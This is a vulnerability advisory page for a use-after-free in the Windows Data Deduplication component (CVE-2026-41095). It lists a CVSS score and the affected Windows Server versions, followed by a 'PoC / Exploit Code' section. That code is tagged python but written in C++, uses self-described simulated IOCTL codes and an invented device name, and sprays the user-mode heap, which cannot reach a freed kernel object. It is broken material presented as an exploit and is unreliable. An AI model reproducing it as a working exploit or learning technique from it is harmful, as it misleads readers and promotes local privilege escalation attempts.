Use after free in Data Deduplication allows an authorized attacker to elevate privileges locally.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Windows Server 2019
Windows Server 2022
Windows Server 2025
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-41095 (Conceptual Use-After-Free)
// This code demonstrates the logic of triggering a UAF in a kernel driver.
#include <windows.h>
#include <iostream>
// Simulate the IOCTL codes for the Dedup service
#define IOCTL_TRIGGER_FREE 0x80002010
#define IOCTL_TRIGGER_USE 0x80002014
void SprayHeap() {
// Implementation of heap spraying to occupy the freed memory
// Allocating multiple objects of the same size as the freed object
for (int i = 0; i < 1000; i++) {
HeapAlloc(GetProcessHeap(), 0, 0x100);
}
}
int main() {
HANDLE hDevice = CreateFile(L"\\\\.\\DedupDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cout << "Failed to open device." << std::endl;
return 1;
}
DWORD bytesReturned;
// Step 1: Trigger the vulnerability by freeing an object
DeviceIoControl(hDevice, IOCTL_TRIGGER_FREE, NULL, 0, NULL, 0, &bytesReturned, NULL);
// Step 2: Spray the heap to control the freed memory
SprayHeap();
// Step 3: Trigger the Use-After-Free to execute code
DeviceIoControl(hDevice, IOCTL_TRIGGER_USE, NULL, 0, NULL, 0, &bytesReturned, NULL);
std::cout << "Exploit triggered." << std::endl;
CloseHandle(hDevice);
return 0;
}